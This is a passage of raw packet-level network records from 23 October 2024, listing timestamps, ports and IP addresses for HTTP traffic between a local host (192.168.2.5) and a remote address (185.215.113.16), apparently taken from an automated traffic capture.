Oct 23, 2024 15:49:09.939589024 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.939615011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.940438032 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.940468073 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.940483093 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.940485954 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.940515995 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.940531015 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.982964039 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.983005047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.983041048 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:09.983052969 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.983072042 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:09.983089924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.030504942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.030545950 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.030580997 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.030611992 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.030630112 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.050760984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.050820112 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.050856113 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.050858021 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.050858021 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.050901890 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.050906897 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.050940990 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.050954103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.050985098 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.054919958 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.054955959 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.054989100 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.054994106 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.055012941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.055032015 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.055047035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.055078983 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.055125952 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.055160046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.055182934 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.055193901 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.055203915 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.055282116 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.055342913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.055918932 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.055947065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.055979013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.055988073 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.056018114 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.056036949 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.099140882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.099165916 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.099183083 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.099199057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.099244118 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.099288940 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.145966053 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.146039009 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.146060944 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.146075964 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.146090031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.146106005 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.146131992 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.166523933 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.166564941 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.166578054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.166600943 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.166603088 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.166654110 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.166742086 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.166776896 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.166794062 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.166806936 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.170329094 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.170356989 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.170370102 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.170372009 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.170401096 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.170417070 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.170506954 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.170543909 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.170557976 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.170572996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.170592070 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.170593977 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.170605898 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.170608044 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.170627117 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.170645952 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.171442986 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.171468973 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.171483040 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.171483994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.171508074 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.171516895 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.214687109 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.214736938 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.214987040 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.215019941 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.215034008 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.215055943 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.215060949 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.215099096 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.261600018 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.261620998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.261636972 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.261651993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.261670113 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.261679888 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.281898975 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.281913042 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.281929016 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.281944990 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.281961918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.281977892 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.282044888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.282061100 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.282075882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.282084942 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.282102108 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.282121897 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.282536983 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.282586098 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.282605886 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.282622099 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.282752991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.282773972 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.282798052 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.282821894 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.285903931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.285917997 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.285958052 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.285959959 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.285984039 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.285995007 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.285999060 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.286025047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.286046982 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.286407948 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.286446095 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.286468029 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.286485910 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.286501884 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.286504030 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.286518097 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.286519051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.286535025 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.286560059 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.287266970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.287317038 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.287349939 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.287391901 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.330276012 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.330291033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.330306053 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.330352068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.330390930 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.377562046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.377618074 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.377633095 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.377651930 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.377681971 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.397496939 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.397521019 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.397536993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.397551060 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.397558928 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.397582054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.397614956 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.397823095 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.397864103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.397867918 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.397885084 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.397903919 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.397927046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.397948980 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.397964954 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.401667118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.401681900 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.401696920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.401714087 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.401732922 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.401799917 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.401834965 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.401844025 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.401850939 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.401910067 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.401981115 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.401997089 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.402023077 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.402050972 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.402728081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.402770042 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.442975044 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.442991972 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.443006992 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.443044901 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.443078041 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.445682049 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.445728064 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.445733070 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.445749044 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.445774078 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.445790052 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.493206978 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.493271112 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.493284941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.493304968 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.493314028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.493340015 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.493350029 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.493386984 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.513128996 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.513164997 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.513192892 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.513204098 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.513226032 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.513241053 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.513254881 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.513286114 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.513464928 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.513511896 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.513520002 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.513566017 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.513573885 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.513609886 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.513617992 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.513653994 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.517198086 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.517256021 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.517278910 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.517313004 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.517323971 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.517349958 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.517357111 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.517389059 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.517394066 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.517424107 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.517430067 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.517465115 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.517801046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.517837048 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.517847061 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.517872095 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.517879963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.517915964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.518182993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.518218994 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.518233061 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.518254995 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.518270969 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.518299103 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.558248043 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.558307886 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.558345079 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.558365107 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.558393955 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.558398008 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.558408022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.558438063 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.561070919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.561126947 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.561203957 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.561233997 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.561259031 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.561268091 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.561280966 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.561310053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.609482050 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.609519958 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.609546900 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.609554052 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.609559059 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.609626055 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.628674030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.628726959 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.628755093 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.628777027 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.628777027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.628812075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.628823042 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.628849030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.628864050 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.628895998 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.629086018 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.629132986 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.629137993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.629172087 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.629199982 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.629220009 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.633543015 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.633605957 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.633615971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.633667946 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.633670092 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.633702993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.633730888 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.633738041 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.633780003 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.633780003 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.633936882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.633989096 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.633996010 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.634042025 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.634047031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.634083033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.634100914 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.634118080 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.634119987 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.634170055 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.634764910 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.634815931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.674278021 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.674314022 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.674348116 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.674354076 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.674376965 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.674433947 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.676737070 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.676770926 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.676793098 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.676804066 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.676810980 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.676843882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.724993944 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.725027084 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.725061893 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.725070000 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.725094080 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.725112915 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:10.725116014 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.725157022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:10.744263887 CEST	80	49967	185.215.113.16	192.168.2.5
